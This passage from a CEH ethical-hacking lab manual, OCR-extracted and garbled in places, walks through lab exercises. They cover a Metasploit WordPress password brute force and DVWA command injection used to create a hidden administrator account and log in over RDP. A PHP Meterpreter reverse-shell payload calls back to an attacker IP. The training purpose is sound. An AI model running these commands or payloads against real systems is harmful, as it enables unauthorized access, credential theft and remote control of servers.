to execute the auxiliary module.

Auxiliary Module

root@Kkali: ~ e e O

File Edit View Search Terminal Help

f auxiliary( ) > set PASS FILE /root/wordlists/Passwords.txt
PASS FIL > /root/Wordlists/Passwords. txt
1sf auxiliary( ) > set RHOSTS 10.10.10.12
AHOSTS => 10.10.10.12
st auxiliary( ) > set RPORT 8080
RPORT 8080

msf auxiliary( ) > set TARGETURI http://10.10.10.12:8080/CEH/
ARGETURI => http://10.10.10.12:8080/CEH/
ciliary( ) > set USERNAME admin
admin

) > run

FIGURE 3.9: Running the Auxiliary Module
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24. 'The auxiliary module begins to brute-force the login credentials by trying
various passwords for the given username admin.

root@kali: ~ [—C I ]

File Edit View Search Terminal Help

ARGETURI > http://10.10.10,12:8080/CEH/

1sf auxil y( ) > set USERNAME
USERNAME => admin

1isf auxiliary( ) > run

http://10.10.10.12:8080/CEH/ - WordPress Version 4.9.1 detected
http://10.10.10. 8080/CEH/ - WordPress User-Enumeration - Running User Enume|

2:8080/CEH/ - Found user 'admin' with id 1

+] h .10.10.12:8080/CEH/ - 2 s stored in: /root/.msf4/lo0t/201712226
15024 default .10.10.12 wordpress.users 741447.txt

http://106.10.10.12:8080/CEH/ - WordPress User-Validation - Running User Valida
tion

ht .10.10.12:8080/CEH/ WordPress User-Validation Checking Userr
admin'
+] http: .10.10.12:8080/CEH/ WordPress User-validation - Username: ‘admin
is VALID
+] http://10.106. X :8080/CEH/ - WordPress User-Validation - Found 1 valid user
*] http://10.10.10. 8080/CEH/ - WordPress Brute Force Running Bruteforce

http://10.10.10,12: 0/ / wordPress Brute Force Skipping all but 1 vali

http://10.10.10.12:8080/CEH/ - WordPress Brute Force - Trying username:'admin'
with password:'AAAA’
http://10.10.10.12:8080/CEH/ WordPress Brute Force Failed to login

http://10.10.10.12:8080/CEH/ WordPress Brute rce Trying username
with password:'AAABaaabj’

FIGURE 3.10: Auxiliary Module Brute Forcing the Password

25. Once the correct password associated with the username is found, the
module stops and displays the cracked password, as shown in the
screenshot:

root@kal - CNC) 01

FIGURE 3.11: Password Successfully Cracked

26. Now, use the obtained username-password combination to log into the
WordPress website.
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27. Launch the Firefox ESR web browser, type http/[IP Address of
Windows Server 2012]:8080/CEH/wp-login.php in the address bar, and

click Log In.
CNC) 5T

*Be $ a0 =
Most Visitedv [fJOffensive Security "\ Kali Linux "\ Kali Docs "\ Kali Tools = Exploit-DB W Aircrack-ng »

Log In < CEH Demo Website — WordPress - Mozilla Firefox
/ Login < CEH Demo Webs.. x | +
 (® & 10.10.10,12:5080/CEH/wp-login php

¢ }iQ Search

Lost your password?

+ Back to CEH Demo Website

FIGURE 3.12: Logging in to Word Press Website

28. You should be able to successfully log into the website, as shown in the
screenshot:

Dashboard « CEH Demo Website — WordPress - Mozila Firefox
Dashboard « CEH Demo . % | +
€ © 2 10.10.10.12 8080/CEHAwg ¢ |[ search

0 ¢ N
Most Visitedv [fOffensive Security "\ Kall Linux \ Kall Docs "\ Kall Tools = Exploit-DB W Aircrack-ng

Dashboard
Welcome to WordPress! O olsmity
Get Started
==
or, change your theme completely
Next Steps
K Write your | + Addan About page B View your site
More Actions
B Manage widgets or menus B3 Turn comments on or off [ Learn more about getting started

FIGURE 3.13: Login Successful
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29. In the same way, you can follow the steps 18-22 and crack other users’
passwords associated (by setting another usetname obtained duting
enumeration; e.g., “cehuserl”).

30. Thus, you have successfully enumerated the usernames and cracked their
passwords.

Lab Analysis
Analyze and document the results related to this lab exercise. Provide your opinion
of your target’s secutity postute and exposutre.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB,

Internet Connection Required

O Yes M No
Platform Supported
Classroom iLabs
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Module 14 - Hacking Web Applications

Exploiting Remote Command
Execution Vuinerability to
Compromise a Target Web Server

Damn Vulnerable Web App (DVW.A) is a PHP/ MySQL. web application that
is extremely vulnerable. Its main goals are to be an aid for security professionals to test
their skills and tools in a legal environment, belp web developers understand better the
processes of securing web applications, and aid teachers/ students in teaching/ learning
web application security in a classroom environment.

Lab Scenario

Web developers build web applications, keeping in mind all the security measutes
involved in doing so. Any loopholes found in the applications might allow attackers
to exploit them, resulting in remote code execution, database extraction, and
sometimes even the complete takeover of the servers that host them. Thus, as a CEH,
you need to ensure that web applications are propetly built and are free from
vulnerabilities that could lead to SQL injection, cross-site scripting, and so on.

Lab Objectives
The objective of this lab is to help you leatn how to exploit command-line execution
vulnerabilities.
Lab Environment
To petform this lab, you will need:
= A computer running Windows Server 2016
=  Windows Server 2012 running as virtual machine
= Windows 10 running as a virtual machine

= Web browsers
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Lab Duration
Time: 20 Minutes
Overview of the Lab

This lab demonstrates the exploitation performed on command-line execution
vulnerability found in DVWA. Here, you will learn how to extract information of a
target machine, create user account, assign administrative privileges to the created
account, and use that account to log into the target machine.

Lab Tasks
1. Click Start at the lower left of the screen, click the downward arrow, then
_Hrask 1 click Wampserver64 to launch WampServer.
Start WampServer
in Windows
Server 2012 B8 Windows Server 2012R2
Administrator gg
Coetrel Panel
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Notepad++ Mew

. Whatsnew
B wovicen re B
. Notepad

FIGURE 4.1: Starting the WampServer

2. Launch the Windows 10 virtual machine from the VMware Workstation,
and log onto it.

Hrtask 2

Ping a Machine
Launch any (here Chrome) browset, type the URL http://[IP Address of

Windows Server 2012]:8080/dvwa in the address bar, and press Enter.

Note: The IP address of Windows Server 2012 in this lab is 10.10.10.12,
which might vary in your lab environment.

4. 'The DVWA login page appears; type the following credentials, then click
Login:

a. Username: gordonb

b. Password: abc123

o [o] X
@ Login = Damn Winenst. X
€  C (@ Notsecure | 10.10.10 o %]
/ \
-2 Loaue YR Aceucasac D
FIGURE 42: Logging in to DVWA
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5. gordonb’s page appears; click Command Execution.

B Welcome = Damn Vulne: X

e C | ® 10.10.10.12

Home | Welcome to Damn Vulnerable Web App!

Instructions Damn Vulnerable Web Application (DVWA) is 3 PHP/MySQL web application that is «
goal is to be an aid for security professionals to test their skills and tools in a legal en
Setup / Reset DB developers better understand the processes of securing web applications and to aid

leam about web application security in a controlled class room environment

The aim of DVWA is to practice some of the most common web vulnerabilities, v

—C - Injec \ difficultly, with a simple straightforward interface.

Fie Inciuel General Instructions
File Upload Itis up to the user how they approach DVWA. Either by working through every modu
selecting any module and working up to reach the highest level they can before movi

Insecure CAPTCHA is not a fixed object to complete a module: however users should feel that they have
system as best as they possible could by using that particular vulnerability
SQL Injection

Diasas nate thara ara hnth A and 1nd. uninorahilit with th
»

FIGURE 4.3: Selecting Command Execution
6. 'The command execution utility in DVWA allows you to ping a machine.

7. 'Type the IP Address of the Windows Server 2012 machine, and click
submit to ping the machine.

e - O X
[ Vulnerabiiity: Command X

&« C | ® Notsecure | 10.10.10.12:8080/dvwa/vulnerabilities/exec w
D\WA)
=/

T Vulnerability: Command Injection

Ping a device

Enter an IP address:(10.10 10.12 | Submit

More Information

FIGU

E. 4.4: Pinging a Machine
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8. DVWA has successfully pinged a machine, as shown in the screenshot:

B Vulnersbiity: Command X

<« C | ® 10.10.10.12:3080/dvwa/vulnerabilities/exac/# e

Hiome l Vulnerability: Command Injection

Ping a device
Enter an IP address | Submit |

19,
ron
rom
fram

rom

FIGURE 4.5: Machine Pinged Successfully

9. Now try issuing a different command to check whether DVWA can
execute it.

10. Issue the command | hostname and click submit. Generally, hostname
is used to probe the name of the target machine.

B Vulnerability: Command X

< C | ® Notsecure | 10.10.10.12 wa/vulnerabilities/exac/# %

— | Vulnerability: Command Injection

Ping a device

Enter an IP address. Ehoslnam@{ ISubml]

12

from 1

FIGURE 4.6: Obtaining Hostname
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Configure
Security Settings

Module 14 - Hacking Web Applications

11. Because you have issued a command, instead of entering an IP address
of a machine, the application returns an error, as shown in the screenshot:

e

o X

B Vulnerability: Commanc X

(_.

C | ® 10.10.10.12:8080/dvwa/vulnerabilities/exec/#

o)

Vulnerability: Command Injection

Ping a device

Enter an IP address: Submit

(ERROR: You have =ntered an invalid 1°.)

CSRF

e More Information
File Upload 2

Insecure CAPTCHA | '

SQL Injection

FIGURE 4.7: Error Returned by the Application
12. 'This shows that the application is secure enough.

13. Now check the security setting of the web application. To check, click
DVWA Security in the left pane.

e

8 Vulnerability: Command X

¢« @ | ® 10.10.10.12:8080/dvwa/vulnerabilities/exac/#

csRe | More inf ti r
= ore Information

FIGURE 4.8: Selecting DVWA Security

CEH Lab Manual Page 1156

Ethical Hackis

2 and C Copyright © by EC-Councll
All Rights Reserved. Reproduction is Strictly Prohibited.



Module 14 - Hacking Web Applications

14. DVWA Security web page appears. Observe that the security level is
impossible. This security setting was blocking you from executing
commands other than simply pinging a machine.

: e - 0O X
" Bl OVWA Security = Damn X\

€ & C |® 1010.10.12:8080/dwwa/security.php |

e
as a platform to teach or leam basic exploitation techniques

2 Medium - This setfing is mainly to give an example to the user of bad security
developer has tried but failed to secure an application. It also acts as a challer
exploitation techniques.

3. High - This option is an extension to the medium difficulty. with a mbaure of he
practices to attempt to secure the code. The vulnerability may not allow the s
exploitation, similar in various Capture The Flags (CTFs) competitions.

4 Impossible - This level should be secure against all vulnerabilities It is use:
source code to the secure source code.

Prior to DVWA v1.9, this level was known as ‘high®

Impossible v J| Submit

"

PHPIDS
PUPIDS v0 6 (PHP-Intrusion Detection System) is a security layer for PHP based we
PHPIDS works by filtering any user supplied input against a blacklist of potentially m:

DVWA to serve as a live example of how Web Application Firewalls (WAFs) can help
some cases how WAFs can be circumvented.

DVWA Security

You can enable PHPIDS across this site for the duration of your session
PHPIDS is currently. disabled. [Enable PHPIDST

FIGURE 4.9: Viewing the Security Setting

15. Now, set the secutity level of the web application to “low’” to exploit the
command execution vulnerability. Here, your intention would be to show
that a weakly secured web application is the prime focus of attackers, to
exploit its vulnerabilities.

16. Select low option from the drop-down list, and click Submit.

. e - o0 X
/ Bl DVWA Security z Damn X\

c |® 10.10.10.12:8080/dvwa/security.php | i

¢

- >
as a platform to teach or leam basic exploitation techniques. E

2 Medium - This setting is mainly to give an example to the user of bad security
developer has tried but failed to secure an application. It also acts as a challer
exploitation techniques.

3. High - This option is an extension to the medium difficulty, with a mixture of ha
practices to attempt to secure the code. The vuinerability may not allow the s
exploitation, similar in various Capture The Flags (CTFs) competitions.

4 Impossible - This level should be secure against all vulnerabilities. it is user
source code to the secure source code.

Prior to DVWA v1.9. this level was known as 'high”

(Low v ) Submit ]

PHPIDS
PHPIDS v0.6 (PHP-Intrusion Detection System) is a security layer for PHP based we
PHPIDS works by filtering any user supplied input against a blacklist of potentially mi

DVWA to serve as a live example of how Web Application Firewalls (WAFs) can help
some cases how WAFs can be circumvented

DVWA Security

You can enable PHPIDS across this site for the duration of your session.
PHPIDS is currently: disabled. [Enable PHPIDS)

FIGURE 4.10: Configuring DVWA Security
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17. You have configured weak security setting in DVWA. Now check if you
can execute any commands besides pinging a machine.

18. Click Command Injection in the left pane.

[ DVWA Security = Damn = X

& C | ® 10.10.10.12:8080/dvwa/security.php b4

Home DVWA Security =

Setup | Reset DB Security Level

Security level is currently. impossible

Brute Force : :
———— You can set the security level to low, medium, high or impossible. The security level ¢
@ and Injection level of DVIWA
CSRF 1. Low - This security level is completely vulnerable and has no security meast

as an example of how web application vulnerabilities manifest through bad co
“’Ll as a platform to teach or leam basic exploitation techniques.

Medium - This setting is mainly to give an example to the user of bad security
developer has tried but falled to secure an application. It also acts as a challer
Insecure CAPTCHA exploitation techniques.

High - This option is an extension o the medium difficulty, with a mbaure of ha
practices to attempt to secure the code. The vulnerability may not allow the s

|

Injection (Blind) exploitation, similar in various Capture The Flags (CTFs) competitions.
sa. 4 Impossible - This level should be secure against all vulnerabilities It is uses
Weak Session IDs source code lo the secure source code

Prior to DVWA v1.9, this level was known as ‘high’

XSS (Refl " | Low v || Submit e
- »
FIGURE 4.11: Selecting Command Execution
Hrask 4 19. The Command Injection web page appears, type | hostname and click
submit.
Extract Host
Information - 6 - 0 X
[ Vulnerability: Command X
& C | ® Notsecure | 10.10.10.12:8080/dvwa/vulnerabilities; o«
DYWA) .
4
s Vulnerability: Command Injection
Ping a device
Enter an IP address [l hostname I Submit ]
More Information
‘ »
FIGURE 4.12: Obtaining Hostname
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20. DVWA returns the name of the Windows Server 2012 machine, as
shown in the screenshot:

B Vulnerability: Command X

< C | ® 10.10.10.12:8 wa/vulnerabilities/exec/# %

T | Vulnerability: Command Injection
Instructions |
Setup | Reset DB |

Ping a device

Enter an IP address | Submit |
Brute Force

CSRF

File Inclusion

File Upload
Insecure CAPTCHA

|
|
} More Information
|
SQLinjecion |

[

FIGURE 4.13: Hostname Obtained

21. This infers that the command execution field is vulnerable, and you are
able to execute commands remotely.

22. Now, try to extract mote information regarding the Windows Server
2012 machine.

23. Type the command | whoami and click submit.

B Vulnerability: Command X

< C | ® Notsecure | 10.10.10.12:8080/dvwa/vulnera ec/exec/# e

D\@A)

Home | Vulnerability: Command Injection

Ping a device
Setup / Reset DB
T Enter an IP address. | whoam )(Submit )
Brute Force | paz
CSRF 2
e More Information
FileUpload |
Insecure CAPTCHA
SQL Injection v
n »
FIGURE 4.14: Obtaining Domain Information
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24. The application displays the user, group, and privileges information for
the user currently logged onto the Server 2012 machine, as shown in the
screenshot:

e - a X
B Vulnerability: Commend X

< C | ® 10.10.10.12:8080/dvwa/vulnerabilities/exec/# %
D\WA)

P Vulnerability: Command Injection
Insructons | Ping a device

Enter an IP address | Submit

e More Information

FIGURE 4.15: Domain Information Revealed

Hrask s 25. Now, view the processes running on the machine. Type | tasklist and

click submit.
List the

Processes e - 0 X

[ Vulnerability: Command X

&« C | ® Notsecure | 10.10.10.12:3080/dvwa erabilities/exec/# +4
)
(g

P Vulnerability: Command Injection
Instructions | Ping a device

Enter an IP address: ([ tasklist ) Submit )

More Information

FIGURE 4.16: Obtaining Processes Information
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26. Alist of all the running processes is displayed, as in the screenshot:

B Vunerabisty: Commanc X
< C | @ 10,10.10.12:8080/cvwa/vulnerabilities/exec/# e
Vulnerability: Command Injection “

Ping a device

Enter an IP address Submit

Teage tame

chost ,exe
svehost . exe
LogonuT, exe
diw.exe

svehost . exe
svchost, exe

svchost . exe
spoolsv. exe
Nicrosoft, Activedirectory

afs

FIGURE 4.17: Processes Information Obtained

27. Check if you can terminate a process. Choose a process (other than
windows process; here, firefox is chosen), and note its process ID (PID).

[ Vuinersbilty: Commane X

< C | ® 10.10.10.12:3080/cvwa/vulnerabilities/exec/# ] :

rdpelip.exe
dxreg.exe
usepsanager. exe
httpd. exe
ntepd. exe
id,exe
nysqlé.exe
explorer.exe

xe
firefox.exe
firefox.exe
cod.exe

conhost, exe
tosklist.exe

More Information

View Source | View Help |

FIGURE 4.18: Viewing a Process PID
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28. Type | Taskkill /PID [Process ID value of the desired process] /F and

click submit.

29. By issuing this command, you are forcefully (/F) terminating the process.

&

=

Vulnerability: Command X

e - (a] X

10.10.10.12:808 sinerabilities/exec/#

Vulnerability: Command Injection

C | ® Not secure

Ping a device

Enter an IP address: (| Taskkill /PID 958 /F

)| Submit )

More Information

File Inclusion

File Upload | E
Insecure CAPTCHA | -

FIGURE 4.19: Killing a Process

30. The process will be successfully terminated, as shown in the screenshot:

&«

i

(B Vulnerability: Command X

C

® 10.10.10.12:8080/dvwa/vulnerabilities/exec/# w

Ty ! Vulnerability: Command Injection

Instructions |
Setup / Reset DB |

Ping a device
Enter an IP address:

Brute Force | (Soccess
CSRF |

e More Information
File Upload b

Insecure CAPTCHA

Submit

en te ‘ni*o:::.]

Hrask 7

List the Directory
Structure

FIGURE 4.20: Process Successfully Terminated

31. To confirm that the process has been successfully terminated, issue the |
tasklist command.

32. Now, view the directory structure of the Windows Server 2012 machine.
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33. Type | dir C:\ and click submit to view the files and directories in C:\.

B Vulnerability: Command X

L3 C | ® Notsecure | 10.10.10.12:3080/dvwa/vulnerabilities/exec e

Home | Vulnerability: Command Injection

Ping a device

Enter an IP address: ([ dir C:\ )(Submit )

More Information

FIGURE 4.21: Obtaining Directory Information

34. The directory structure of Windows Server 2012 is displayed, as in the

screenshot:
)
B Voinesstity: Command X
« C ® 10101012 . w i
, Vulnerability: Command Injection 3

Ping a device

Enter an IP address Submit

velume in &
lusme

FIGURE 4.22: Directory Information Obtained

35. In the same way, you can issue commands to view other directories.

36. Now, try to obtain information related to the user accounts.
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37. To view user account information, type | net user and click submit.
Hrask s

List the User e - o X

Vuinerability: Command X

Accounts
< C | ® Not secure | 10.10.10.12:3080/d erabilities/exec &
pr— | Vulnerability: Command Injection
Ping a device
Enter an IP address (| net user ) Submit )
More Information
4 »
FIGURE 4.23: Obtaining User Account Information
38. DVWA obtains user account information from Windows Server 2012
and lists it, as shown in the screenshot:
e - a X
Vulnerability: Command X
<« C | ® 10.10.10.12:8( wa/vuinerabilit # w
Vulnerability: Command Injection
} Ping a device
Enter an IP address Submit
‘ User accounts for
|
} T command completed with one or more errors.
‘ BAncn nfanmensionm 3
4 »
FIGURE 424: User Account Information Obtained
Eranax o 39. Now, use the command execution vulnerability and attempt to add a user
account remotely.
Create a New
User Account
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40. Here, you will create an account named Test. Type | net user Test /Add
and click submit.

B Vulnerability: Command X

< C | ® Not secure | 10.10.10.12:80: wa erabilities/exec/# .

| Vulnerability: Command Injection

| Ping a device

Enter an IP address ([ net user Test /Add ) Submit )

Jser accounts for

gt mortin

and completed with one or more errors.

L B e TN

FIGURE 4.25: Adding a New User

41, A user account is created on the name “Test.”” View the new user account
by issuing the command | net user.

B Vulnerability: Command X

< C | ® Not secure | 10.10.10.12:80 wa/vulnerabilities/exec/# ¥

Home Vulnerability: Command Injection

Jiesiichions T Ping a device
Setup / Reset DB
Enter an IP address: ([ net user X Submit )

MQ@EQ (*h.- command completed successful _\]
[i n

CSRF
_File Inclusion More Information
 FlloUpioad |

Insecure CAPTCHA .

FIGURE 4.26: Viewing the Added User
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42. You will observe the newly created account, as shown in the following

screenshot:
6 - 0O X
B Vulnerability: Command X
& C | ® 10.10.10.12:8( wa/vulnerabilities/exec/# %

Vulnerability: Command Injection

Ping a device
Enter an IP address Submit

ser sccounts for

Mrnvn lnfmvinn mbim

FIGURE 427: Viewing the Added User

43. Now, view the new account’s information. Type | net user Test and click

submit.
e
[ Vuinerability: Command X
< C | ® Notsecure | 10.10.10.12:80 ajvulnerabilities/exec/# «

Vulnerability: Command Injection

Ping a device

Enter an IP address (1 net user Test lSubmH )

Blavn lafavin nbimen

FIGURE 4.28 Viewing the Added User Information
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44, 'The Test account information appears. You can see that Test is a
standard user account and does not have administrative privileges.

e = K
B Vulnerability: Command X
< C | ® 10.10.10.12:8080/dvwa/vulnerabilities/exsc/# #
Test -
tem Default)
Logon hours allowed All
_Jﬂ“lmmy ﬁ:cal Group Membershios )
PHP Info Globsl Group menbers in Users
The command complete ly. 3
Ak |
| 5 »

Hrask 10

Assign Admin
Privileges to the
User Account

FIGURE 4.29: Viewing the Added User Information

45. Now assign administrative ptivileges to the account. The reason for
granting administrative privileges to this account is to use this (admin)
account to log into the Windows Server 2012 machine by a remote
desktop connection and with administrator access.

46. To grant administrative privileges, type | net localgroup Administrators
Test /Add and click submit.

=) - o X
B Vulnerability: Command X
€ C | ® Notsecure | 10.10.10.12:8080/dvwa/vulnerabilities/exec/# r
D\WA)
=/
o Vulnerability: Command Injection
Ping a device
Enter an IP address he( localgroup Administrators Test /Add I Submit '
User name Test
Full Neme
Comment
tem Default)
11:33:28 ™
@17 11:33:28 P -
H »

FIGURE 4.30: Assigning Administrative Privileges
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47. Now you have successfully granted admin privileges to the account.
Confirm the new setting by issuing the command | net user Test.

e - o X
B Vulnerability: Command %
< C | ® Notsecure | 10.10.10.12:80 ajvulnerabilities/exec/# e
DYWA)
4
Vulnerability: Command Injection
Ping a device
Enter an IP address (| net user Test ) Submit )
["‘c command completed successfully ]
| More Information
File Upload | .
Insecure CAPTCHA | C
l »
FIGURE 4.31: Viewing User Information
48. Observe that Test is now an administrator account.
2] - o X
B Vulnerability: Command %
< C | ® 10.10.10.12:3080 ulnerabilities = 7|
Cy Full Name
o Comment A
CSRF User's comment
Country/region code
File Inclusion Account a
File Upload Account expires
-
-
Al
Home directory
Last logon Never
Logon hours allowed AlL
(Local Group Members
Global Group mewb
The command complete
. »

FIGURE 4.32: User Account has Admin Privileges
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Module 14 - Hacking Web Applications

49. So, now log into the Windows Server 2012 machine’s Test account,

_Brask 11 using Remote Desktop Connection.

. Es:tablish e 50. Display the Start menu, and click Windows Accessories = Remote
emote Desktop
o T Desktop Connection.
R et Life at a glance
B wincons » See all your mail in one plece
30 Builder : @ =
8 Charactar Map Al oe
£ intemet iplocer
B Meth loput Paned e w
8 towpad Mecroscft Edge  Photos
& o Partiy Ch
8] Quick Assist
3 Fer Washington, Phone Compa,..
-~ [—
BB steps Recorder
& Windows Fax and Scan
B wordrad
| x5S Viewe:
l Windows Adenanistrative Teols
£ Type here to search
FIGURE 4.33: Selecting Remote Desktop Connection
51. The Remote Desktop Connection dialog box appeats; enter the IP
Address of the Windows Server 2012 (here, 10.10.10.12) machine in the
Computer text field, and click Connect.
& Remote Desktop Connection - X
Remote Desktop
»*) Connection
Computer: [10101012] v]
Username: None specified
You will be asked for credentials when you connect.
w Show Options Connect Help
FIGURE 4.34: Establishing a Remote Desktop Connection
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52. The Windows Security dialog box appears; enter the username Test and
click OK.

Windows Security X

Enter your credentials

These credentials will be used to connect to 10.10.10.12.

Test

Password

[[] Remember me

FIGURE 4.35 Establishing a Remote Desktop Connection

53. The Remote Desktop Connection window appeats; click Yes to connect
to the remote computer.

& Remote Desktop Connection

mwm«mmum&um;ﬂmﬁu
security certfficate. & may be unsafe to proceed.

Certficate name

5] Name in the certificate from the remote computer:
WIN-OJAQ7QJBPAICEH.com

Certificate emors

The following emors were encountered while validating the remote
computer’s cetfficate:

/A, The certficate is not from a trusted certfying authority.

Do you want to connect despite these certificate emors?

[[] Dont ask me again for connections to this computer

| View certficate . | s ) ™

FIGURE 4.3G: Establishing a R Desktop C
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54. A remote desktop connection is successfully established, as shown in the
screenshot:

=
B Server Manager

B8 Windows Server 2012R2

Bt G

FIGURE 4.37: Remote Desktop Connection Established Successfully

55. Thus, you have made use of a command execution vulnerability in a
DVWA application hosted on a Windows Server 2012 machine, extracted
information related to the machine, created an administrator account
remotely, and logged into it.

56. Now, you may discontinue the session and log out of the web application.

PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB,

O Yes No

‘ Platform Supported
‘ Classroom iLabs
!
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Module 14 - Hacking Web Applications

Exploiting File Upload Vuinerability
at Different Security Levels

Danm Vulnerable Web App (DVW.A) is a PHP/ MySQL. web application that
15 damm vulnerable.

Lab Scenario

Web developers build web applications, keepingin mind that all the secutity measures
involved in doing so. Any loopholes found in the applications might allow attackers
to exploit them, resulting in remote code execution, database extraction, and
sometimes even the complete takeover of the servers that host them. As an expert
Penetration Tester, you need to determine whether your website is secute before
hackers download sensitive data, commit a ctime using your website as a launch pad,
and endanger your business. Thus, as a Certified Ethical Hacker (CEH), you need to
ensure that web applications are properly built and are free from vulnerabilities that
could lead to SQL injection, cross-site scripting, and so on. Concise reports identify
where web applications need to be fixed, thus enabling you to protect your business
from impending hacker attacks!

Lab Objectives

The objective of this lab is to help you understand and demonstrate File upload

77 Tools vulnerability in a web app.
demonstrated in .
this lab are Lab Environment
;;:I::_le - To perform this lab, you will need:
Tools\CEHv10 = A computer running Windows Server 2016
Module 14 -, . . .
Hacking Web = Kali Linux running as a virtual machine
Applicstions *  Windows Server 2012 running as a virtual machine
= A web browser with an Internet connection
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Lab Duration

Time: 20 Minutes

Overview of Web Application Security

Web application security is a branch of information security that specifically deals with
the security of websites, web applications, and web services.

6" NOTE: DO NOT
SCAN A WEBSITE

Ata highlevel, Web application secutity draws on the principles of application secutity

WITHOUT PROPER but applies them specifically to Internet and Web systems. Typically, web applications

AUTHORIZATION!

are developed using programming languages such as PHP, Java EE, Java, Python,

Ruby, ASPNET, C#, VBNET, or Classic ASP.
Lab Tasks

Before starting this lab, make sure that Windows Server 2012 virtual machine is
turned on and WAMPServer is running,

H task 1 1.
Start

WAMPServer 2.

3.

4.

Launch Windows Server 2012 from VMware Workstation and log into
the machine.

Once you have logged into the machine, navigate to Start and click
Wampserver64.

This will start the WAMPServer service on the Windows Server 2012
machine.

Leave the Windows Server 2012 running.
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Administrator gg & 0

Server Mansger

D

Ths PC

Coetrel Panel

vk

Winckomws Po Nolepad++ NPw m

25| Window
CA_Users Unirts ’ Bl wvowea
Cain wew Warngserverbd
Warngserverbd on the Wb
Whatsnew
Winrgen New I
! Notepad

FIGURE 5.1: Start WAMPServer

5. Now, launch the Kali Linux virtual machine from VMware Workstation
and log into the machine.
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6. Open
H rtask 2 pe

up a terminal  window,

hit Enter.

Exploit DVWA

type
php/meterpreterireverse_tcp thost=10.10.10.11 Iport=4444 -f raw and

msfvenom -p

File Edit

View Search Terminal
# msfvenom

root@kali: ~
Help

p php/meterpreter/reverse tcp lhost=10

FIGURE 52: Generate paylbad

10.10.11 lport=4444

f rav] B

The raw payload is generated in the terminal window. Select the payload

and copy it by right clicking on it then choosing Copy option from the
context menu, as shown in the screenshot:

File Edit View Searc

g<?php /**/ error

t client’) && is callable(s$f)) { $s

(185 && (81
} Af (18s &6 (sf
DL TCP);
} Af (1$s type) {
) { case
break; ) if

break;
‘] o=

case

();

"

$res = @socket connect(s$s, $ip, $port);

‘stream’:
(t$len) { die();
(strien($b) < $len) { switch ($s type) { case 'stream’
‘socket’:
$5; $SGLOBALS|['msgsock type'] = $s type;
uhosin.executor.disable eval')) { $suhosin b
} else { eval(sb);

root@Kali: =

h Terminal Help

Lhost=10
yrm: :PHP from
payload

vy load

reporting(0); $ip = '10.10.10.11'; Sport = 4444;

‘socket create') && is callable(sf)) { $s
if (1$res) { die()
die('no socket funcs'); } if (!$s) { die('no soc
$len fread($s, 4); break; case 'socket':
} sa unpack(*Nlen*, $len); $len
$b
$len-strien(s$b)
if (extension
pass=create fu

$b .= socket read($s,

} die(); -op)

10.10.11

$f("tcp://{$ip}:{Sport}"); $s type
‘fsockopen') && is callable(sf)) { $s = $f($ip, $port);
$T(AF_INET,

$len
$a['len');

Open Terminal

0600

lport

the payload

if (($f = ‘stream soc
‘stream'; ) if|
$s type ‘stream’;
SOCK_STREAM,
;) $s type ‘socket
ket'); } switch ($s ty
socket _read($s, 4);
$b ; whil
~strien($b));
DBALS [ 'msgsoc
& ini get(*
uhosin bypas

s HTML

Paste
Profiles

Read-Only

FIGURE 5.3: Copy the generted payload

8. Now open Leafpad and paste the raw payload code, as shown in the
screenshot.

File Edt Search Options Help

*(Untitled)

o0

<?php /**/

{sport}”);

break;
{ die(); }
(strlen(sb)

($b));
$s _type; 1if

$b); $suhos

is callable(sf))
‘socket create') &5 is callable(sf))
@socket connect($s,
(!$s type)
($s_type)

s$res

$len-strien(sb));
break;

error_reporting(0);

‘stream’;
sf(sip

$s type
{ ss

socket'; } if
} switch
case 'socket': $len
$a unpack(“Nlen",
< slen) { switch

break; case

}

} $GLOBALS[ ‘msgsock')

$ip =
} AT (!s
, Sport);

{d

socket
$len); $

($5 type)

‘socket':

‘10.10.10.11";
‘stream socket client') && is callable(sf)) { $s

$ip,

sport

‘fsockopen'’
‘stream'; }
{ $5 = ST(AF_INET,
sport); if (!Sres)
ie('no socket funcs');
{ case 'stream': $len
read($s, 4); break;
len sal['len']; sb
{ case 'stream': $b
$b .= socket read(s$s,
$s; SGLOBALS[ 'msgsock

s && (sf
$s_type

}

(extension loaded('suhosin’') && ini get

('suhosin.executor.disable eval'))

in bypass():

} die();

4444;
sf("tcp://{sip}:

it ((sf
) &&

if (!$s &&
SOCK_STREAM,
{ die(); }

} if (!$s)
= fread(ss,
if (!slen)

; while
fread(ss,
$len-strlen
type']

{ $suhosin bypass=create function('',
} else { eval(sb);

FIGURE

4: Paste the generated payload
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9. Click File menu in the Menu bar and choose Save As... from the menu.

*(Untitled)
File JEdit Search Options Help
New cul+N'ting(0); $ip = '10.10.10.11'; s$port = 4444; if ((sf
Open 'q”'out') && is_callable(s$f)) { $s = $f("tcp://{sip}:
o - stream'; } if (!$s && (8T = 'fsockopen') &&
Save Crl+S = $f($ip, $port); $s_type = ‘stream'; } if (!$s &&

&% is callable($f)) { $s = $f(AF_INET, SOCK STREAM,
et_connect($s, $ip, sport); if (!Sres) { die(); }
PrintPreview  Shift+Cui+P if (!$s type) { die('no socket funcs'); } if (!$s)
Print... ciiep SWitch ($s_type) { case 'stream': $len = fread(ss,
it': $len = socket read($s, 4); break; } if (!$len)
Quit cul+=Qi{"Nlen", $len); $len = sa['len']; $b = ''; while
strien{sp) < sten) { switch ($s_type) { case 'stream': $b .= fread($s,
len-strlen($b)); break; case 'socket': $b .= socket read($s, $len-strlen
$b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock _type'] =
s type; if (extension loaded('suhosin') && ini get
‘suhosin.executor.disable eval')) { $suhosin_bypass=create function('',
b); $suhosin bypass(); } else { eval($b); } die()ﬂ

FIGURE 5.5: Save the payload fike

10. When Save As... window appears, give the payload file a2 name (here
upload.php) and choose the location as Desktop. Then click Save and
close all the windows that were open.

Save As
Create Folder
v Size Modfied =
Character Coding: | Current Locale (UTF-8) 3 | LF &
sl
FIGURE 5.6: Save the payload fik
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11. Launch Firefox ESR browser and enter the URL as
http=/10.10.10.12:8080/dvwallogin.php. The login page appeats, enter
the user credentials as admin|password and click Login.

€ [@ & 10101012 5050 avwaliogn pho C ) Q search 48 ¢+ A O =

Most Visitedv [fOffensive Security \ Kali Linux "\ Kali Docs "\ Kall Tools = Exploit-DB WAWrcrack-ng fUKall Forums

——
o)

Username
[admm ]
Password

v )
Clen ]

Damn Vyiesstie Web Appication [DVWA}

FIGURE 57: DVWA kogin page

